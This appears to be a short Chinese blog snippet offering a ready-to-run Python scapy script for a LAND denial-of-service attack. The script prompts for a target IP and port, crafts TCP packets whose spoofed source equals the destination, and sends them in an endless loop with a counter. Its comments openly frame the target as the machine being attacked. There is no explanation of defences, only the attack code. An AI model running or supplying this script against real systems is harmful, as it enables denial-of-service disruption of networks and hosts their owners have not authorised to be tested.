运行效果：

代码：

#!/usr/bin/env python3
import scapy.all as scapy  #引入scapy库
import time



target = input("Please input your target:")   #输入想要攻击的ip地址
port = input("Please input your target's port:") #输入端口
port = int(port)  #因为input接收的是str，所以要转换成int型

send_packets=0 #记录发送包的数量
try:
    while True:
        a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port))   #构造LAND attack攻击包
        scapy.send(a,verbose=False)
        send_packets+=1  #发送一个，自动加一
        print("[+] Sent Packets:" + str(send_packets))
        time.sleep(1)
except KeyboardInterrupt:
    print("[-] Ctrl+C detected.......")